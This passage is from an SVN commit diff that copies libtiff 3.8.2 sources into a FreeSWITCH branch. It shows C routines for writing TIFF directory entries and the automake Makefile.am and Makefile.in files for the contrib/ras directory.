+	return (TIFFWriteShortArray(tif, TIFF_SHORT, tag, dir, 2, v));
+}
+
+/*
+ * Setup a directory entry for an NxM table of shorts,
+ * where M is known to be 2**bitspersample, and write
+ * the associated indirect data.
+ */
+static int
+TIFFWriteShortTable(TIFF* tif,
+    ttag_t tag, TIFFDirEntry* dir, uint32 n, uint16** table)
+{
+	uint32 i, off;
+
+	dir->tdir_tag = tag;
+	dir->tdir_type = (short) TIFF_SHORT;
+	/* XXX -- yech, fool TIFFWriteData */
+	dir->tdir_count = (uint32) (1L<<tif->tif_dir.td_bitspersample);
+	off = tif->tif_dataoff;
+	for (i = 0; i < n; i++)
+		if (!TIFFWriteData(tif, dir, (char *)table[i]))
+			return (0);
+	dir->tdir_count *= n;
+	dir->tdir_offset = off;
+	return (1);
+}
+
+/*
+ * Write/copy data associated with an ASCII or opaque tag value.
+ */
+static int
+TIFFWriteByteArray(TIFF* tif, TIFFDirEntry* dir, char* cp)
+{
+	if (dir->tdir_count > 4) {
+		if (!TIFFWriteData(tif, dir, cp))
+			return (0);
+	} else
+		_TIFFmemcpy(&dir->tdir_offset, cp, dir->tdir_count);
+	return (1);
+}
+
+/*
+ * Setup a directory entry of an array of SHORT
+ * or SSHORT and write the associated indirect values.
+ */
+static int
+TIFFWriteShortArray(TIFF* tif,
+    TIFFDataType type, ttag_t tag, TIFFDirEntry* dir, uint32 n, uint16* v)
+{
+	dir->tdir_tag = tag;
+	dir->tdir_type = (short) type;
+	dir->tdir_count = n;
+	if (n <= 2) {
+		if (tif->tif_header.tiff_magic == TIFF_BIGENDIAN) {
+			dir->tdir_offset = (uint32) ((long) v[0] << 16);
+			if (n == 2)
+				dir->tdir_offset |= v[1] & 0xffff;
+		} else {
+			dir->tdir_offset = v[0] & 0xffff;
+			if (n == 2)
+				dir->tdir_offset |= (long) v[1] << 16;
+		}
+		return (1);
+	} else
+		return (TIFFWriteData(tif, dir, (char*) v));
+}
+
+/*
+ * Setup a directory entry of an array of LONG
+ * or SLONG and write the associated indirect values.
+ */
+static int
+TIFFWriteLongArray(TIFF* tif,
+    TIFFDataType type, ttag_t tag, TIFFDirEntry* dir, uint32 n, uint32* v)
+{
+	dir->tdir_tag = tag;
+	dir->tdir_type = (short) type;
+	dir->tdir_count = n;
+	if (n == 1) {
+		dir->tdir_offset = v[0];
+		return (1);
+	} else
+		return (TIFFWriteData(tif, dir, (char*) v));
+}
+
+/*
+ * Setup a directory entry of an array of RATIONAL
+ * or SRATIONAL and write the associated indirect values.
+ */
+static int
+TIFFWriteRationalArray(TIFF* tif,
+    TIFFDataType type, ttag_t tag, TIFFDirEntry* dir, uint32 n, float* v)
+{
+	uint32 i;
+	uint32* t;
+	int status;
+
+	dir->tdir_tag = tag;
+	dir->tdir_type = (short) type;
+	dir->tdir_count = n;
+	t = (uint32*) _TIFFmalloc(2*n * sizeof (uint32));
+	for (i = 0; i < n; i++) {
+		float fv = v[i];
+		int sign = 1;
+		uint32 den;
+
+		if (fv < 0) {
+			if (type == TIFF_RATIONAL) {
+				TIFFWarning(tif->tif_name,
+	"\"%s\": Information lost writing value (%g) as (unsigned) RATIONAL",
+				_TIFFFieldWithTag(tif,tag)->field_name, v);
+				fv = 0;
+			} else
+				fv = -fv, sign = -1;
+		}
+		den = 1L;
+		if (fv > 0) {
+			while (fv < 1L<<(31-3) && den < 1L<<(31-3))
+				fv *= 1<<3, den *= 1L<<3;
+		}
+		t[2*i+0] = sign * (fv + 0.5);
+		t[2*i+1] = den;
+	}
+	status = TIFFWriteData(tif, dir, (char *)t);
+	_TIFFfree((char*) t);
+	return (status);
+}
+
+static int
+TIFFWriteFloatArray(TIFF* tif,
+    TIFFDataType type, ttag_t tag, TIFFDirEntry* dir, uint32 n, float* v)
+{
+	dir->tdir_tag = tag;
+	dir->tdir_type = (short) type;
+	dir->tdir_count = n;
+	TIFFCvtNativeToIEEEFloat(tif, n, v);
+	if (n == 1) {
+		dir->tdir_offset = *(uint32*) &v[0];
+		return (1);
+	} else
+		return (TIFFWriteData(tif, dir, (char*) v));
+}
+
+static int
+TIFFWriteDoubleArray(TIFF* tif,
+    TIFFDataType type, ttag_t tag, TIFFDirEntry* dir, uint32 n, double* v)
+{
+	dir->tdir_tag = tag;
+	dir->tdir_type = (short) type;
+	dir->tdir_count = n;
+	TIFFCvtNativeToIEEEDouble(tif, n, v);
+	return (TIFFWriteData(tif, dir, (char*) v));
+}
+
+/*
+ * Write an array of ``type'' values for a specified tag (i.e. this is a tag
+ * which is allowed to have different types, e.g. SMaxSampleType).
+ * Internally the data values are represented as double since a double can
+ * hold any of the TIFF tag types (yes, this should really be an abstract
+ * type tany_t for portability).  The data is converted into the specified
+ * type in a temporary buffer and then handed off to the appropriate array
+ * writer.
+ */
+static int
+TIFFWriteAnyArray(TIFF* tif,
+    TIFFDataType type, ttag_t tag, TIFFDirEntry* dir, uint32 n, double* v)
+{
+	char buf[10 * sizeof(double)];
+	char* w = buf;
+	int i, status = 0;
+
+	if (n * TIFFDataWidth(type) > sizeof buf)
+		w = (char*) _TIFFmalloc(n * TIFFDataWidth(type));
+	switch (type) {
+	case TIFF_BYTE:
+		{ unsigned char* bp = (unsigned char*) w;
+		  for (i = 0; i < n; i++)
+			bp[i] = (unsigned char) v[i];
+		  dir->tdir_tag = tag;
+		  dir->tdir_type = (short) type;
+		  dir->tdir_count = n;
+		  if (!TIFFWriteByteArray(tif, dir, (char*) bp))
+			goto out;
+		}
+		break;
+	case TIFF_SBYTE:
+		{ signed char* bp = (signed char*) w;
+		  for (i = 0; i < n; i++)
+			bp[i] = (signed char) v[i];
+		  dir->tdir_tag = tag;
+		  dir->tdir_type = (short) type;
+		  dir->tdir_count = n;
+		  if (!TIFFWriteByteArray(tif, dir, (char*) bp))
+			goto out;
+		}
+		break;
+	case TIFF_SHORT:
+		{ uint16* bp = (uint16*) w;
+		  for (i = 0; i < n; i++)
+			bp[i] = (uint16) v[i];
+		  if (!TIFFWriteShortArray(tif, type, tag, dir, n, (uint16*)bp))
+				goto out;
+		}
+		break;
+	case TIFF_SSHORT:
+		{ int16* bp = (int16*) w;
+		  for (i = 0; i < n; i++)
+			bp[i] = (int16) v[i];
+		  if (!TIFFWriteShortArray(tif, type, tag, dir, n, (uint16*)bp))
+			goto out;
+		}
+		break;
+	case TIFF_LONG:
+		{ uint32* bp = (uint32*) w;
+		  for (i = 0; i < n; i++)
+			bp[i] = (uint32) v[i];
+		  if (!TIFFWriteLongArray(tif, type, tag, dir, n, bp))
+			goto out;
+		}
+		break;
+	case TIFF_SLONG:
+		{ int32* bp = (int32*) w;
+		  for (i = 0; i < n; i++)
+			bp[i] = (int32) v[i];
+		  if (!TIFFWriteLongArray(tif, type, tag, dir, n, (uint32*) bp))
+			goto out;
+		}
+		break;
+	case TIFF_FLOAT:
+		{ float* bp = (float*) w;
+		  for (i = 0; i < n; i++)
+			bp[i] = (float) v[i];
+		  if (!TIFFWriteFloatArray(tif, type, tag, dir, n, bp))
+			goto out;
+		}
+		break;
+	case TIFF_DOUBLE:
+		return (TIFFWriteDoubleArray(tif, type, tag, dir, n, v));
+	default:
+		/* TIFF_NOTYPE */
+		/* TIFF_ASCII */
+		/* TIFF_UNDEFINED */
+		/* TIFF_RATIONAL */
+		/* TIFF_SRATIONAL */
+		goto out;
+	}
+	status = 1;
+ out:
+	if (w != buf)
+		_TIFFfree(w);
+	return (status);
+}
+
+#ifdef COLORIMETRY_SUPPORT
+static int
+TIFFWriteTransferFunction(TIFF* tif, TIFFDirEntry* dir)
+{
+	TIFFDirectory* td = &tif->tif_dir;
+	tsize_t n = (1L<<td->td_bitspersample) * sizeof (uint16);
+	uint16** tf = td->td_transferfunction;
+	int ncols;
+
+	/*
+	 * Check if the table can be written as a single column,
+	 * or if it must be written as 3 columns.  Note that we
+	 * write a 3-column tag if there are 2 samples/pixel and
+	 * a single column of data won't suffice--hmm.
+	 */
+	switch (td->td_samplesperpixel - td->td_extrasamples) {
+	default:	if (_TIFFmemcmp(tf[0], tf[2], n)) { ncols = 3; break; }
+	case 2:		if (_TIFFmemcmp(tf[0], tf[1], n)) { ncols = 3; break; }
+	case 1: case 0:	ncols = 1;
+	}
+	return (TIFFWriteShortTable(tif,
+	    TIFFTAG_TRANSFERFUNCTION, dir, ncols, tf));
+}
+#endif
+
+/*
+ * Write a contiguous directory item.
+ */
+static int
+TIFFWriteData(TIFF* tif, TIFFDirEntry* dir, char* cp)
+{
+	tsize_t cc;
+
+	if (tif->tif_flags & TIFF_SWAB) {
+		switch (dir->tdir_type) {
+		case TIFF_SHORT:
+		case TIFF_SSHORT:
+			TIFFSwabArrayOfShort((uint16*) cp, dir->tdir_count);
+			break;
+		case TIFF_LONG:
+		case TIFF_SLONG:
+		case TIFF_FLOAT:
+			TIFFSwabArrayOfLong((uint32*) cp, dir->tdir_count);
+			break;
+		case TIFF_RATIONAL:
+		case TIFF_SRATIONAL:
+			TIFFSwabArrayOfLong((uint32*) cp, 2*dir->tdir_count);
+			break;
+		case TIFF_DOUBLE:
+			TIFFSwabArrayOfDouble((double*) cp, dir->tdir_count);
+			break;
+		}
+	}
+	dir->tdir_offset = tif->tif_dataoff;
+	cc = dir->tdir_count * TIFFDataWidth(dir->tdir_type);
+	if (SeekOK(tif, dir->tdir_offset) &&
+	    WriteOK(tif, cp, cc)) {
+		tif->tif_dataoff += (cc + 1) & ~1;
+		return (1);
+	}
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error writing data for field \"%s\"",
+	    _TIFFFieldWithTag(tif, dir->tdir_tag)->field_name);
+	return (0);
+}
+
+/*
+ * Link the current directory into the
+ * directory chain for the file.
+ */
+static int
+TIFFLinkDirectory(TIFF* tif)
+{
+	static const char module[] = "TIFFLinkDirectory";
+	uint32 nextdir;
+	uint32 diroff;
+
+	tif->tif_diroff = (TIFFSeekFile(tif, (toff_t) 0, SEEK_END)+1) &~ 1;
+	diroff = (uint32) tif->tif_diroff;
+	if (tif->tif_flags & TIFF_SWAB)
+		TIFFSwabLong(&diroff);
+#if SUBIFD_SUPPORT
+	if (tif->tif_flags & TIFF_INSUBIFD) {
+		(void) TIFFSeekFile(tif, tif->tif_subifdoff, SEEK_SET);
+		if (!WriteOK(tif, &diroff, sizeof (diroff))) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+			    "%s: Error writing SubIFD directory link",
+			    tif->tif_name);
+			return (0);
+		}
+		/*
+		 * Advance to the next SubIFD or, if this is
+		 * the last one configured, revert back to the
+		 * normal directory linkage.
+		 */
+		if (--tif->tif_nsubifd)
+			tif->tif_subifdoff += sizeof (diroff);
+		else
+			tif->tif_flags &= ~TIFF_INSUBIFD;
+		return (1);
+	}
+#endif
+	if (tif->tif_header.tiff_diroff == 0) {
+		/*
+		 * First directory, overwrite offset in header.
+		 */
+		tif->tif_header.tiff_diroff = (uint32) tif->tif_diroff;
+#define	HDROFF(f)	((toff_t) &(((TIFFHeader*) 0)->f))
+		(void) TIFFSeekFile(tif, HDROFF(tiff_diroff), SEEK_SET);
+		if (!WriteOK(tif, &diroff, sizeof (diroff))) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Error writing TIFF header");
+			return (0);
+		}
+		return (1);
+	}
+	/*
+	 * Not the first directory, search to the last and append.
+	 */
+	nextdir = tif->tif_header.tiff_diroff;
+	do {
+		uint16 dircount;
+
+		if (!SeekOK(tif, nextdir) ||
+		    !ReadOK(tif, &dircount, sizeof (dircount))) {
+			TIFFErrorExt(tif->tif_clientdata, module, "Error fetching directory count");
+			return (0);
+		}
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabShort(&dircount);
+		(void) TIFFSeekFile(tif,
+		    dircount * sizeof (TIFFDirEntry), SEEK_CUR);
+		if (!ReadOK(tif, &nextdir, sizeof (nextdir))) {
+			TIFFErrorExt(tif->tif_clientdata, module, "Error fetching directory link");
+			return (0);
+		}
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabLong(&nextdir);
+	} while (nextdir != 0);
+	(void) TIFFSeekFile(tif, -(toff_t) sizeof (nextdir), SEEK_CUR);
+	if (!WriteOK(tif, &diroff, sizeof (diroff))) {
+		TIFFErrorExt(tif->tif_clientdata, module, "Error writing directory link");
+		return (0);
+	}
+	return (1);
+}

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ras)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ras/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+EXTRA_DIST = README ras2tif.c tif2ras.c
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/ras/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/ras/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,385 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = contrib/ras
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
+PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@
+PACKAGE_NAME = @PACKAGE_NAME@
+PACKAGE_STRING = @PACKAGE_STRING@
+PACKAGE_TARNAME = @PACKAGE_TARNAME@
+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = README ras2tif.c tif2ras.c
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/ras/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/ras/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
